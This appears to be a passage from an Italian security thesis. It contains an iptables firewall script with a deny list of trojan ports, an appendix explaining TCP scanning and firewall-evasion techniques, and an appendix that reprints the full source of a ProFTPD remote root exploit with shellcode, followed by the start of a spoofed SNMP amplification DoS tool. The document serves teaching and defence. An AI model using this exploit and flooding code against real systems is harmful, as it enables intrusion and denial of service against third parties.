USE_FTP=1 USE_HTTP=1 #Inserire in USE_TCP_OTHER le porte tcp di altri servizi #utilizzati non presenti #Ad esempio per POP3 aggiungi 119, puoi aggiungere tutte le #porte che vuoi (anche intervalli) separandole con uno spazio USE_TCP_PORT="" #Inserire in USE_UDP_OTHER le porte udp di altri servizi #utilizzati non presenti USE_UDP_OTHER="" ############ PORTE DA APRIRE AL MONDO ########### # Inserire in TCP_OPEN_PORT le porte tcp da aprire al mondo esterno # TCP_OPEN_PORT="" # # Inserire in UDP_OPEN_PORT le porte udp da aprire al mondo esterno UDP_OPEN_PORT="" ################### PORTE DA CHIUDERE AL MONDO ############ # Inserire in TCP_CLOSE_PORT le porte tcp da chiudere esplicitamente TCP_CLOSE_PORT="6000:6010 7000:7010 \ 6670 \ 6711 6712 6713 \ 12345 12346 20034 \ 31337" #XServer, Deepthrt, Sub7, Netbus, BO # Inserire le porte udp da chiudere UDP_CLOSE_PORT="6000:6010 7000:7010" #XServer e XfontServer ################################################################ ##############FINE CONFIGURAZIONE ################### ############################################################### #Locazione di iptables IPT="`whereis -b iptables | cut -d \" \" -f 2`" # Verifico se lo script gira con i privilegi di root if [ $UID != 0 ]; then echo -e "\aLo script necessita di privilegi di root" logger -t Firewall "L'utente $(whoami) ha tentato di impostare il Firewall" exit fi



sysConf() { # Abilito l'anti-spoof con rp_filter ####################################### for interface in /proc/sys/net/ipv4/conf/*/rp_filter; do if [ "$interface" == "/proc/sys/net/ipv4/conf/lo/rp_filter" ] then echo 0 > $interface else echo 1 > $interface fi done # Bloccare i ping echo request? ################################## if [ $ECHO_IGNORE == 1 ] ; then echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all else echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all fi # Protezione contro i synflood? ################################## if [ -f /proc/sys/net/ipv4/tcp_syncookies ] ; then if [ $SYN_PROT == 1 ] ; then echo "1" > /proc/sys/net/ipv4/tcp_syncookies else echo "0" > /proc/sys/net/ipv4/tcp_syncookies fi fi # Loggare i pacchetti malformati e scartati automaticamente? # Vengono loggati in /var/log/messages ############################################################### if [ $LOG_MARTIANS == 1 ] ; then echo "1" > /proc/sys/net/ipv4/conf/all/log_martians else echo "0" > /proc/sys/net/ipv4/conf/all/log_martians fi # Accettare ICMP redirect messages? ###################################### if [ $ICMP_REDIRECT == 1 ] ; then echo "1" > /proc/sys/net/ipv4/conf/all/accept_redirects else echo "0" > /proc/sys/net/ipv4/conf/all/accept_redirects fi # Setto il massimo numero di connessioni da tracciare # (Kernel Default: 2048) ########################################################### if [ -f /proc/sys/net/ipv4/ip_conntrack_max ] && [ $HIGHER_CONNTRACK == 1 ] ; then echo 20000 > /proc/sys/net/ipv4/ip_conntrack_max fi



# Disabilito ICMP send_redirect ################################## if [ -e /proc/sys/net/ipv4/conf/all/send_redirects ] ; then for interface in /proc/sys/net/ipv4/conf/*/send_redirects do echo "0" > $interface done fi # Don't accept source routed packets. # Source routing is rarely used for legitimate purposes ########################################################## if [ -e /proc/sys/net/ipv4/conf/all/accept_source_route ] ; then for interface in /proc/sys/net/ipv4/conf/*/accept_source_route do echo "0" > $interface done fi # Protezione ICMP Broadcasting ################################# if [ -e /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts ] ; then echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts fi # ICMP Dead Error Messages protection ######################################## if [ -e /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses ] ; then echo "1" > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses fi # Automatic IP defragmenting ############################### if [ -e /proc/sys/net/ipv4/ip_always_defrag ] ; then echo "1" > /proc/sys/net/ipv4/ip_always_defrag fi # LooseUDP patch is required by some Internet-based games # This option is disabled by default due to possible internal # machine UDP port scanning vulnerabilities. ###################################################################### if [ -e /proc/sys/net/ipv4/ip_masq_udp_dloose ] ; then if [ $LOOSE_UDP_PATCH == 1 ] ; then echo "1" > /proc/sys/net/ipv4/ip_masq_udp_dloose else echo "0" > /proc/sys/net/ipv4/ip_masq_udp_dloose fi fi



# Riduco i timeouts per ridurre gli attacchi DOS # Valori di defaults: # echo 60 > /proc/sys/net/ipv4/tcp_fin_timeout # echo 7200 > /proc/sys/net/ipv4/tcp_keepalive_time # echo 1 > /proc/sys/net/ipv4/tcp_window_scaling # echo 1 > /proc/sys/net/ipv4/tcp_sack ####################################################################### if [ $REDUCE_DOS_ABILITY == 1 ] ; then echo 10 > /proc/sys/net/ipv4/tcp_fin_timeout echo 1800 > /proc/sys/net/ipv4/tcp_keepalive_time echo 0 > /proc/sys/net/ipv4/tcp_window_scaling echo 0 > /proc/sys/net/ipv4/tcp_sack fi } qualeUso(){

if [ $USE_FTP == 1 ]; then SOURCE_TCP_PORT=$SOURCE_TCP_PORT" 20 21" fi if [ USE_HTTP == 1 ]; then SOURCE_TCP_PORT=$SOURCE_TCP_PORT" 80" fi if [ USE_HTTPS == 1 ]; then SOURCE_TCP_PORT=$SOURCE_TCP_PORT" 443" fi SOURCE_TCP_PORT=$SOURCE_TCP_PORT" " SOURCE_UDP_PORT=$SOURCE_UDP_PORT" "

} start(){ #Cancello regole precedenti $IPT -F $IPT -Z $IPT -X $IPT -F -t nat $IPT -Z -t nat $IPT -X -t nat $IPT -F -t mangle $IPT -Z -t mangle $IPT -X -t mangle # Politica di default $IPT -P INPUT DROP $IPT -P FORWARD DROP $IPT -P OUTPUT ACCEPT $IPT -t nat -P PREROUTING ACCEPT $IPT -t nat -P POSTROUTING ACCEPT $IPT -t nat -P OUTPUT ACCEPT $IPT -t mangle -P PREROUTING ACCEPT



$IPT -t mangle -P OUTPUT ACCEPT $IPT -t mangle -P INPUT ACCEPT 2>/dev/null >/dev/null $IPT -t mangle -P FORWARD DROP 2>/dev/null >/dev/null $IPT -t mangle -P POSTROUTING ACCEPT 2>/dev/null >/dev/null #Loopback $IPT -A INPUT -i lo -j ACCEPT # Imposto le variabili del kernel sysConf # Tabella NAT # Scarto pacchetti il cui source è localhost ma viaggia su eth0 if [ $LOGGING == 1 ]; then $IPT -t nat -A PREROUTING -i eth0 -s 127.0.0.0/8 -j LOG --log-prefix="FW - NAT 001: " fi $IPT -t nat -A PREROUTING -i eth0 -s 127.0.0.0/8 -j DROP # Scarto pacchetti non diretti al nostro pc -- SOSPESA -- #$IPT -t nat -A PREROUTING -i eth0 -d ! $IP -j DROP # Scarto pacchetti mal formati # Danger: può scartare pacchetti non dannosi # $IPT -t nat -A PREROUTING -i eth0 -m unclean -j DROP # Creo catene aggiuntive per migliore manutenzione $IPT -N ETH_IN # Gestisce i servizi del pc ( porte < 1024 ) $IPT -N SERVICES # Analizza lo stato della connessione $IPT -N CONN_STATE # Blocca in caso di flags anomali $IPT -N TCP_FLAGS # Blocca floods, scan, traceroute $IPT -N BLOCKED_PKG # Blocca l'accesso a specifiche porte $IPT -N DENIED_PKG # Lascia passare il packet x alcune porte $IPT -N ACCEPT_PKG # Devio i pacchetti provenienti dall'interfaccia eth0 # nella catena eth_in $IPT -A INPUT -j ETH_IN # Se i pacchetti ritornano da eth_in li rifiuto $IPT -A INPUT -p tcp -j LOG --log-prefix "FW - Reject Packet" $IPT -A INPUT -p tcp -j REJECT --reject-with tcp-reset $IPT -A INPUT -p all -j DROP



# Regole x catena conn_state # Maybe harmless packets that came in after netfilter's timeout, # maybe a form of detecting a filtered host, or some kind of

# advanced host detection technique if [ $LOGGING == 1 ]; then $IPT -A CONN_STATE -p tcp -m state --state INVALID -m limit --limit 3/m -j LOG \ --log-level $LOGLEVEL --log-prefix "FW - Invalid State " fi $IPT -A CONN_STATE -p tcp -m state --state INVALID -j DROP # Accetta subito i pacchetti le cui connessioni o sono già stabilite # o che fanno riferimento a connessioni già stabilite $IPT -A CONN_STATE -m state --state RELATED,ESTABLISHED -j ACCEPT # Regole x tcp_flags # Illegal tcp flags/options packets #Logging if [ $LOGGING == 1 ] && [ $TCPFLAGSLOG == 1 ]; then $IPT -A TCP_FLAGS -p tcp --tcp-flags ALL FIN,URG,PSH -j LOG --log-prefix ="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags ALL ALL -j LOG --log-prefix ="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j LOG --log-prefix ="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags ALL NONE -j LOG --log-prefix ="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags SYN,RST SYN,RST -j LOG --log-prefix="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags SYN,FIN SYN,FIN -j LOG --log-prefix="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags FIN FIN -j LOG --log-prefix="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags ALL FIN -j LOG --log-prefix="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags FIN,RST FIN,RST -j LOG --log-prefix="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-flags ACK,URG URG -j LOG --log-prefix="FW - DROP illegal tcp flag: " $IPT -A TCP_FLAGS -p tcp --tcp-option 64 -m limit \ --limit 5/minute -j LOG --log-prefix="FW - Bogus TCP FLAG 64 " $IPT -A TCP_FLAGS -p tcp --tcp-option 128 -m limit \ --limit 5/minute -j LOG --log-prefix="FW - Bogus TCP FLAG



128 " fi #Nmap FIN/URG/PSH $IPT -A TCP_FLAGS -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP #Xmas Tree $IPT -A TCP_FLAGS -p tcp --tcp-flags ALL ALL -j DROP #Another Xmas Tree $IPT -A TCP_FLAGS -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP #Null scan $IPT -A TCP_FLAGS -p tcp --tcp-flags ALL NONE -j DROP #SYN/RST $IPT -A TCP_FLAGS -p tcp --tcp-flags SYN,RST SYN,RST -j DROP #SYN/FIN $IPT -A TCP_FLAGS -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP #FIN scan $IPT -A TCP_FLAGS -p tcp --tcp-flags FIN FIN -j DROP $IPT -A TCP_FLAGS -p tcp --tcp-flags ALL FIN -j DROP #Illegal TCP FLags $IPT -A TCP_FLAGS -p tcp --tcp-flags FIN,RST FIN,RST -j DROP $IPT -A TCP_FLAGS -p tcp --tcp-flags ACK,FIN FIN -j DROP $IPT -A TCP_FLAGS -p tcp --tcp-flags ACK,PSH PSH -j DROP $IPT -A TCP_FLAGS -p tcp --tcp-flags ACK,URG URG -j DROP #Bogus TCP Flags $IPT -A TCP_FLAGS -p tcp --tcp-option 64 -j DROP $IPT -A TCP_FLAGS -p tcp --tcp-option 128 -j DROP # Regole x SERVICES # Specifico quali servizi il mio PC deve offrire al mondo # Permetto al mondo di accedere ai servizi offerti dal mio pc for port in $TCP_OPEN_PORT ; do $IPT -A SERVICES -p tcp --dport $port -j ACCEPT done for port in $UDP_OPEN_PORT ; do $IPT -A SERVICES -p udp --dport $port -j ACCEPT done # pacchetti diretti verso la 113 (auth) verranno scartati, ma l'host # che li ha generati verrà avvisato. $IPT -A SERVICES -p tcp --dport 113 -j LOG --log-prefix="FW - Auth reject " $IPT -A SERVICES -p tcp --dport 113 -j REJECT # Blocco tutti gli altri servizi $IPT -A SERVICES -j LOG --log-prefix="FW - Service DROP " $IPT -A SERVICES -j DROP



# Regole per ETH_IN # Devio il flusso prima su conn_state e poi su tcp_flags $IPT -A ETH _IN -j CONN_STATE $IPT -A ETH _IN -j TCP_FLAGS # Per i pacchetti diretti verso le porte < 1024 # il controllo viene passato alla catena services $IPT -A ETH _IN -p tcp --dport 1:1024 -j SERVICES $IPT -A ETH _IN -p udp --dport 1:1024 -j SERVICES # Eseguo i controlli sui pacchetti in base alle porte $IPT -A ETH _IN -j BLOCKED_PKG $IPT -A ETH _IN -j DENIED_PKG $IPT -A ETH _IN -j ACCEPT_PKG # Regole per BLOCKED_PKG # ICMP è usato x scanning, Denial of Service (DoS) , tunneling if [ $LOGGING == 1 ]; then $IPT -A BLOCKED_PKG -p icmp -m limit --limit 20/m -j LOG \ --log-level $LOGLEVEL --log-prefix "FW - icmp DROP " fi $IPT -A BLOCKED_PKG -p icmp -j DROP # IGMP viene utilizzato x scopi errati if [ $LOGGING == 1 ]; then $IPT -A BLOCKED_PKG -p igmp -m limit --limit 2/m -j LOG \ --log-level $LOGLEVEL --log-prefix "FW - igmp DROP " fi $IPT -A BLOCKED_PKG -p igmp -j DROP #Traceroutes depend on finding a rejected port. DROP the ones it uses $IPT -A BLOCKED_PKG -p udp --dport 33434:33523 -j DROP # Regole per DENIED_PKG for port in $TCP_CLOSE_PORT ; do if [ $LOGGING == 1 ] && [ $CLOSEPORTLOG == 1 ]; then $IPT -A DENIED_PKG -p tcp --dport $port -m limit -j LOG \ --log-prefix "FW -FailAccessClosePort " fi $IPT -A DENIED_PKG -p tcp --dport $port -j DROP done for port in $UDP_CLOSE_PORT ; do if [ $LOGGING == 1 ] && [ $CLOSEPORTLOG == 1 ]; then $IPT -A DENIED_PKG -p udp --dport $port -m limit -j LOG \ --log-prefix "FW -FailAccessClosePort " fi $IPT -A DENIED_PKG -p udp --dport $port -j DROP done



# Regole per ACCEPT_PKG #SSH if [ $USE_SSH1 == 1 ] || [ $USE_OPENSSH == 1 ]; then if [ $USE_SSH1 == 1 ]; then #SSH1 $IPT -A ACCEPT_PKG -p tcp --sport 22 --dport 513:1023 ! --syn -j ACCEPT fi if [ $USE_OPENSSH == 1 ] ; then #OpenSSH $IPT -A ACCEPT_PKG -p tcp --sport 22 --dport 1024:65535 ! --syn -j ACCEPT fi fi } flush(){ # reset the default policies in the filter table. $IPT -P INPUT ACCEPT $IPT -P FORWARD ACCEPT $IPT -P OUTPUT ACCEPT # reset the default policies in the nat table. $IPT -t nat -P PREROUTING ACCEPT $IPT -t nat -P POSTROUTING ACCEPT $IPT -t nat -P OUTPUT ACCEPT # reset the default policies in the mangle table. $IPT -t mangle -P PREROUTING ACCEPT $IPT -t mangle -P OUTPUT ACCEPT # flush all the rules in the filter and nat tables. $IPT -F $IPT -t nat -F $IPT -t mangle -F # erase all chains that's not default in filter and nat table. $IPT -X $IPT -t nat -X $IPT -t mangle -X } case "$1" in test) qualeUso



echo $SOURCE_TCP_PORT echo $SOURCE_UDP_PORT ;; start) FAIL=0 echo -n "Starting Firewall... " start if [ $FAIL -eq 0 ]; then echo "done" logger -t Firewall "START" else echo "FAIL!" fi ;; stop) FAIL=0 echo -n "Stopping Firewall... " flush if [ $FAIL -eq 0 ]; then echo "done" logger -t Firewall "STOP" else echo "FAIL!" fi ;; restart) FAIL=0 echo -n "Riavvio firewall... " flush start if [ $FAIL -eq 0 ]; then echo "done" logger -t Firewall "RESTART" else echo "FAIL!" fi ;; status) $IPT --list echo ;; panic) echo -n "Panic mode. Blocco tutti gli accessi... " $IPT -F



$IPT -X $IPT -P INPUT DROP $IPT -P OUTPUT DROP $IPT -P FORWARD DROP echo "done" logger -t Firewall "PANIC MODE ENABLED" ;; help) echo " Firewall for the Cert Host (maucem) - Version "$Version echo " uso: "$0" {start|restart|stop|status|panic|help}" echo " - "$0" start" echo " Avvia il firewall" echo " - "$0" restart" echo " Riavvia il firewall" echo " - "$0" stop" echo " Stoppa il firewall permettendo l'accesso completo al computer" echo " - "$0" status" echo " Stampa le regole attive del firewall" echo " - "$0" panic" echo " Attiva il panic mode. Blocca tutti gli accessi al computer" echo " - "$0" help" echo " Stampa questo messaggio" echo ;; *) echo "Firewall for the Cert Host (maucem) - Version "$Version echo "Uso: "$0" {start|restart|stop|status|panic|help}" exit 1 ;; esac exit 0



Appendice B – Le scansioni

Tipi di scansione

Vediamo adesso alcune tecniche di scanning (sia host che port scanning). Queste

consistono in metodi per rilevare informazioni su host di una rete remota. Possono

essere utilizzati da un curioso o un malintenzionato per conoscere, relativamente ad

un host, il suo indirizzo IP, se è attivo o meno, se alcune porte (e quindi determinati

servizi conosciuti sono attivi) sono aperte.

Uno dei pionieri nell'implementazione di queste tecniche di scansione è Fyodor, che

ne ha implementate un buon numero nel suo Nmap. Molti dei tipi di scansione che

presenteremo qui sono stati elaborati direttamente dallo stesso Fyodor. Molte delle

tecniche esistenti si basano sul protocollo TCP.

TCP è un protocollo aperto, il che significa semplicemente che le descrizioni tecniche

del protocollo appaiono nei documenti pubblici e quindi chiunque può creare un

TCP/IP sul proprio hardware e software.

Inoltre TCP è un protocollo connection-oriented e tramite alcuni flag caratterizza i

pacchetti che curano la connessione. Questi flag sono: SYN (richiesta di

sincronizzazione), ACK (accusa di ricevuta), FIN (termine connessione), RST (rifiuto

di connessione). Sfrutteremo tali flag allo scopo di sapere se un certo host è on line

oppure se una certa porta è in listening.

Le seguenti tecniche di scanning sono utilizzate in molti tool esistenti.

La scansione TCP connect()

Questo tipo di scansione sfrutta il meccanismo di base della connessione TCP:



• Viene inviato un pacchetto SYN verso la porta oggetto di esame del sistema

analizzato.

• Se la risposta è un pacchetto SYN/ACK questo solitamente implica che sulla

porta è in ascolto un servizio. Se invece viene ricevuto un pacchetto RST/ACK

significa generalmente che la porta è inattiva e la connessione viene interrotta.

• A questo punto, se si è ricevuto un SYN/ACK, si conclude la sequenza con un

pacchetto ACK.

Questo tipo di scansione è facilmente individuabile perché solitamente i sistemi

connessi in rete registrano le connessioni e gli errori nelle stesse.

La scansione "semiaperta"SYN

Questo metodo differisce dal precedente perché non viene attuata la procedura

completa di connessione ad una porta.

Viene inviato un pacchetto SYN come prima, ma questa volta se viene ricevuto un

pacchetto SYN/ACK, ad indicare che la porta è disponibile, la connessione viene

immediatamente abortita con l'invio di un pacchetto RST (reset).

In questo caso è possibile che alcuni sistemi non registrino il tentativo di connessione.

La scansione "elusiva" (stealth)

E' un insieme di tecniche che violano intenzionalmente la negoziazione a tre stadi del

TCP con lo scopo di raggiungere uno o più dei seguenti obiettivi:

• Passare attraverso regole di filtraggio del traffico di rete.

• Non essere individuato dai meccanismi di registrazione degli eventi dei sistemi

analizzati.

• Nascondersi in mezzo al normale traffico della rete che ospita l'obiettivo.

I tipi più comuni di scansioni "elusive" sono:

• SYN/ACK: si invia un SYN/ACK, come in risposta ad una richiesta di apertura

di una connessione originata dal sistema oggetto della scansione. Siccome il

protocollo TCP è a stati, esso è perfettamente conscio di non aver iniziato la



connessione con un SYN, per cui riterrà il pacchetto ricevuto un errore e

invierà un pacchetto RST (reset) per chiudere la connessione.

Questo è proprio quello che si desidera ottenere per capire che il sistema è

attivo e la porta indicata è chiusa. Le porte aperte invece ignoreranno i

pacchetti SYN/ACK.

• FIN: lo stesso risultato della scansione precedente è ottenibile mediante l'invio

di un pacchetto FIN.

• XMAS: in questo tipo di scansione il pacchetto inviato non è di un tipo

specifico, ma ha tutti gli attributi URG, ACK, PST, RST, SYN e FIN impostati

contemporaneamente.

• NULL: viene inviato un pacchetto speculare al precedente, cioè con tutti gli

attributi impostati a zero.

La risposta a tutti questi tipi di scansione è un RST dalle porte non attive.

Questo è quanto dovrebbe succedere se il TCP/IP è conforme alla RFC 793.

La realtà è invece diversa: molti sistemi, come Cisco, BSD, VMS, HP/UX,

hanno una implementazione di TCP/IP non conforme e rispondono con un

RST anche dalle porte attive.

Questo però, lungi dall'essere un ostacolo alle scansioni è anzi un ausilio

perchè, utilizzando le scansioni "elusive" in concomitanza con una scansione

SYN, se le une rivelano porte chiuse e l'altra porte aperte, si ottiene una

riduzione del numero di possibili sistemi operativi operanti sul o sui sistemi

esaminati.

Le scansioni RST

Un tipo di sistema molto apprezzato da chi esegue scansioni sulle reti è il router.

Questo tipo di apparecchi, per il delicato compito che eseguono, rispondono anche a

pacchetti con attributi assurdi.

Un router risponde basandosi solo sull'indirizzo IP di destinazione del pacchetto in

transito, per cui se esso ha impostato l'attributo RST il router lo ignora e risponde al

più con un messaggio ICMP Host Unreachable o Time Exceeded se il sistema

oggetto di studio non è raggiungibile.



Per cui, se si riesce ad individuare un tale apparecchio (si può ad esempio tracciare il

percorso di un pacchetto ed assumere che il primo sistema di una certa rete o quello

immediatamente precedente sia con buone probabilità un router) e si interroga con

una serie di pacchetti destinati a diversi indirizzi IP si può ottenere una mappa delle

reti raggiungibili attraverso tale router

La scansione FTP Bounce (FTP di rimbalzo)

Il servizio FTP (in realtà è anch'esso un protocollo, ma di un livello diverso dal

TCP/IP) permette un tipo molto particolare e pericoloso (o interessante, dal punto di

vista di un hacker) di scansione: il sistema che lancia la scansione si collega ad un

server FTP e, se questo supporta le connessioni anonime, può da qui iniziare

processi di trasferimento dati verso qualsiasi host attivo.

E' un metodo di scansione molto utile per esaminare reti protette da firewall.

Se dietro di esso vi è un server FTP raggiungibile, questo potrà essere utilizzato per

individuare altri sistemi attivi non visibili dall'esterno. Alcuni strumenti automatici,

liberamente disponibili su Internet, dispongono anche di questo tipo di scansione (ad

esempio il già citato Nmap)

La scansione TCP Ident inversa

Il protocollo Ident (RFC 1413) serve a determinare l'utente che fornisce i privilegi

necessari al funzionamento di un dato servizio (come si suol dire, l'utente

"proprietario" del servizio).

Questo protocollo è attivo sulla porta 113. L'interrogazione ident richiede una piena

connessione TCP ed è quindi registrabile ma può fornire notevoli vantaggi a chi

analizza un sistema in quanto permette di ordinare gerarchicamente i servizi attivi

identificando quelli più interessanti perchè di proprietà dell'utente amministratore (di

solito "root", "administrator" o "supervisor").



Appendice C - Codice sorgente di alcuni exploit SDI anonymous remote exploit for proftpd /* * SDI linux remote exploit for ProFTPDpre[1,2,3] * Sekure SDI - Brazilian Information Security Team * by c0nd0r <[email protected]> - Sep/99 (tudo na paz!) * * Exploit for the ProFTPD log_xfer() buffer overflow -- it will spawn a * shell owned by root. * * HOWTO: unlikely the other recent FTP vulnerability, this one doesn't * need a writeable directory. You just got to have permission to * download a file (like welcome.msg or README). Don't forget to install * our favorite network tool -- NetCat. * * Values: Redhat (alignment 2 - offset 0) * Slack (alignment 0 - offset -300) * * Warning: We take no responsability for the consequences on using this * tool. DO NOT USE FOR ILICIT ACTIVITIES! * * Agradecimentos a todo o pessoal que vem acompanhando a lista brasileira * de seguranca - BOS-BR <[email protected]>. * http://www.securenet.com.br - novo portal de seguranca brasileiro. */ char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39" "\xf3\x7c\x07\x80\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46" "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e\x31\xc9\xb0\x27" "\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80" "\x31\xc0\x88\x46\x03\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09" "\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x95\xff\xff\xff\xff\xff" "\xff\x43\x43\x30\x30\x31\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a"; #include <stdio.h> #include <unistd.h> #define TOTAL 940 int fork_port ( void); int usage ( char *arg) {



printf ( "SDI remote ProFTPD exploit\n"); printf ( "usage: %s -p <local ip> -f <file > [-a <align>] [-o <offset>]\n",

arg); printf ( "where <local ip> is your ip separated with comma

(e.g.200,30,1,20)\n"); printf ( " <file> is any remote file available to download (eg.

welcome.msg)\n"); printf ( "\nvalues: RedHAT - alignment 2 / offset 0\n"); printf ( " Slack - alignment 0 / offset -300/-200\n"); exit ( 0); } main ( int argc, char *argv[] ) { char buf[2000], port[200], file[150], *pasv=NULL, *ff; int x, y=0, offset=0, align=0, c, damn=0; long addr=0xbffff450; while ((c = getopt(argc, argv, "a:o:p:f:h")) != -1) switch (c) { case 'a': align = atoi ( optarg); break; case 'o': offset = atoi ( optarg); break; case 'p': pasv = optarg; break; case 'f': ff = optarg; break; case 'h': damn = 1; break; default: damn = 1; break; } if (damn==1) usage ( argv[0]); if (pasv) snprintf ( port, sizeof(port), "%s,5,220", pasv); else usage ( argv[0]); if (ff) snprintf ( file, sizeof(file), "%s", ff); else strcpy ( file, "welcome.msg");



if ( fork() == 0) fork_port(); addr += offset; fprintf ( stderr, "\nALIGN %d (use alignment 2 for RedHAT)\n", align); fprintf ( stderr, "OFFset %d\n", offset); fprintf ( stderr, "RET 0x%x\n", addr); fprintf ( stderr, "RETR %s\n\n", file); for ( x = 0; x < ((TOTAL+align)-strlen(shellcode)); x++) buf[x] = 0x90; for ( ; y < strlen(shellcode); y++, x++) buf[x] = shellcode[y]; for ( ; x < 1016; x+=5) { buf[x ] = (addr & 0x000000ff); buf[x+1] = (addr & 0x0000ff00) >> 8; buf[x+2] = (addr & 0x00ff0000) >> 16; buf[x+3] = (addr & 0x00ff0000) >> 16; buf[x+4] = (addr & 0xff000000) >> 24; } printf( "USER ftp\n"); sleep(1); printf ( "PASS %s\n", buf); sleep(1); printf ( "PORT %s\n", port); sleep(1); printf( "RETR %s\n", file); sleep(1); } #include <netinet/in.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> int fork_port ( void) { struct sockaddr_in sa; struct sockaddr_in ca; int sd, cd, lx, len=0, n=0; char outbuf[5000]; bzero ( &sa, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(1500); sd = socket ( AF_INET, SOCK_STREAM, 0); lx = bind ( sd, (struct sockaddr *) &sa, sizeof(sa)); if (lx<0) { perror("bind"); exit(0);



} lx = listen ( sd, 5); if (lx<0) { perror("listen"); exit(0); } // fprintf ( stderr, "waiting for the incoming file\n"); len = sizeof(ca); cd = accept ( sd, (struct sockaddr *) &ca, &len); if ( cd <= 0) { perror("accept"); return(0); } while ( (n = read ( cd, outbuf, sizeof(outbuf))) > 0) // fprintf ( stderr, "=> %s\n", outbuf); /*only for debugging*/ if ( n > 0) fprintf ( stderr, "file received\n"); close ( sd); close ( cd); sleep(1); printf ( "uname -a; id;\n"); exit(0); }



SNMP DoS v1.0 /* SNMP DoS v1.0 2.14.2005 [email protected] Sends a spoofed SNMP BulkGet .1.3.6.1 request to list of devices in file with community string public equiv. command line is `snmpbulkget -v2c <device> public internet` well, the target will get the first large packet, not the results of GetNext generally it greatly amplifies the bandwidth ADMsnmp can be easiy used with some shell scripting to scan class As for devices set to 'public' Code modified from snmpkill.c and some taken from papasmurf.c thanks kundera and tfreak */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <netinet/in_systm.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> struct sockaddr_in dest; int sok,i=0, count=0, loop=0, lcount=0; char *source, *filename; char c; FILE *hostfile; char buf[32]; u_long address[2048]; int num = 0, n; char snmpkill[] =



"\x30\x24\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x17\x02" "\x04\x7b\x73\xcc\x13\x02\x01\x00\x02\x01\x64\x30\x09\x30\x07\x06" "\x03\x2b\x06\x01\x05"; in_cksum (unsigned short *ptr, int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return (answer); } void usage (void) { printf("SNMP DoS v1.0\n"); printf("Usage: snmpdos [-t target ip_addr] [-f host file] [-l loop count] \n"); } void loadfile (void) { if ((hostfile = fopen(filename, "r")) == NULL) { perror("Opening hostfile");



exit(-1); } while (fgets(buf, sizeof buf, hostfile) != NULL) { char *p; int valid; /* skip over comments/blank lines */ if (buf[0] == '#' || buf[0] == '\n') continue; /* get rid of newline */ buf[strlen(buf) - 1] = '\0'; /* check for valid address */ for (p = buf, valid = 1; *p != '\0'; p++) { if ( ! isdigit(*p) && *p != '.' ) { fprintf(stderr, "Skipping invalid ip %s\n", buf); valid = 0; break; } } /* if valid address, copy to our array */ if (valid) { address[num] = inet_addr(buf); num++; if (num == 2048) break; } } } int sendit(ulong destaddr) { struct pseudoudp { u_long ipsource; u_long ipdest; char zero; char proto; u_short length; } *psudp; struct in_addr sourceip_addr; struct in_addr destip_addr; struct ip *IP; struct udphdr *UDP;



